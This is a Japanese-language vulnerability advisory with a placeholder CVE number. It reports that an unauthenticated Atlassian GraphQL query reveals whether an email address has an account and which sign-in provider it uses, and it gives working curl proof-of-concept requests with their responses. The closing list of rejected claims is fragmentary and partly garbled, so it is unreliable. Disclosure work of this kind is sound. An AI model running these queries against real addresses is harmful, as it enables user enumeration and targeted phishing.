CVE-2026-XXXX: Atlassian GraphQL メール列挙オラクル (CWE-204, CVSS 5.3 MEDIUM)
Atlassian Central GraphQL Gateway（api.atlassian.com/graphql）
CWE-204: Observable Response Discrepancy — メール列挙オラクル
MEDIUM — CVSS 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Atlassian の中央 GraphQL ゲートウェイ上の loomUnauthenticated_primaryAuthTypeForEmail GraphQL クエリは、メールアドレスが Atlassian に登録されているかどうかによって異なる応答を返し、認証なしのユーザー列挙を可能にします。
登録済みメール → authType（例：workos、password、google）とリダイレクト URI を返す
未登録メール → リダイレクト URI なしで authType: "none" を返す
認証は不要です。クエリ名には "Unauthenticated" と含まれており、意図的に公開されていますが、任意のメールアドレスが Atlassian アカウントを持っているかどうかを漏えいさせるべきではありません。
https://api.atlassian.com/graphqlcurl -s "https://api.atlassian.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType hasActiveMemberships redirectUri } }"}'
応答:
{
"data": {
"loomUnauthenticated_primaryAuthTypeForEmail": {
"authType": "workos",
"hasActiveMemberships": false,
"redirectUri": "https://www.loom.com/api/auth/workos?email=admin%40atlassian.com"
}
}
}
curl -s "https://api.atlassian.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType } }"}'
応答:
{
"data": {
"loomUnauthenticated_primaryAuthTypeForEmail": {
"authType": "none"
}
}
}
authType: "workos" は、そのメールが WorkOS SSO を使用していることを確認します。authType: "google" または authType: "password" は認証方法を漏えいします。これにより、標的型フィッシングが可能になります。
認証されていない攻撃者は以下が可能です：
loomUnauthenticated_primaryAuthTypeForEmail クエリはレート制限を行わず、認証なしで任意のメールアドレスに対して認証プロバイダー情報を返します。このエンドポイントは（Loom のサインアップフローのために）意図的に認証なしとなっていますが、メールアドレスがアカウントを持っているかどうか、またどの認証プロバイダーを使用しているかを漏えいさせます。
徹底的なテストの結果、以下の主張は無効とされました：
aaid: "unidentified" を持つ）ValidationError で失敗する）unidentified として識別する）Wh4l3X